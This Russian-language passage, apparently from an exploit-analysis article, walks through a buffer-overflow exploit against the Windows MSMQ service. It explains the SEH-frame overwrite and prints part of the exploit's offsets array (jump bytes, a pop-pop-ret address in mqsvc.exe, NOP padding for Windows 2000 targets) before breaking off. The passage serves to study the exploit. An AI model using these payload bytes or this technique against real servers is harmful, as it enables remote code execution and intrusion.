устройство пакета-убийцы, передаваемого на атакуемый сервер
Сразу же возникает вопрос — в каком именно месте возникает переполнение и каким именно образом происходит передача управления на shell-код? Запустив MSMQ-службу под отладчиком, мы увидим, что массив offsets
ложится аккурат поверх SEH-фрейма, подменяя его содержимое, а shell-код затирает адрес возврата из функции, заменяя RET произвольным адресом, указывающим в "космос", при обращении к которому возбуждается исключение и… управление получает подложный SEH-фрейм, передающий управление на shell-код. Все просто! Главное — отладчик иметь! И… установленную службу Message Queuing, которой в распоряжении кодокопателя может и не быть. К тому же мы договорились, прежде чем запускать exploit (пусть даже под отладчиком!) сначала реконструировать его алгоритм.
А как мы его можем реконструировать? Хорошая головоломка для знатоков! Отбросив RPC-заголовки, мы остаемся только с массивом offsets
и shell-кодом. Очевидно, смещение массива offsets
выбрано не случайно и играет в переполнении ведущую роль, поскольку bind_shellcode
представляет собой вполне "стандартный" shell-код, встречающийся во многих других exploit'ах и совпадающий с ним байт-в-байт.
Рассмотрим массив offsets
поближе:
unsigned char offsets[] =
/* entry point (jmp over) */ ; // SEH-FRAME for Windows 2000
"\xEB\x08\x90\x90" ; // ! *prev | jmp lab_0Ah !
/* mqsvc.exe - pop reg; pop reg; retn; */ ; // !------------------------!
"\xE9\x14\x40\x00" ; // ! *handler !
; // !------------------------!
"\x90\x90\x90\x90\x90\x90\x90\x90" ; // подбор SEH-фрейма для w2k server
/* :LAB_0Ah */
/* entry point (jmp over) */ ; // SEH-FRAME for W2K Server/AdvServer
"\xEB\x08\x90\x90" ; // ! *prev | jmp lab_1Ah !
/* mqsvc.exe - pop reg; pop reg; retn; */ ; // !----------------- --------------!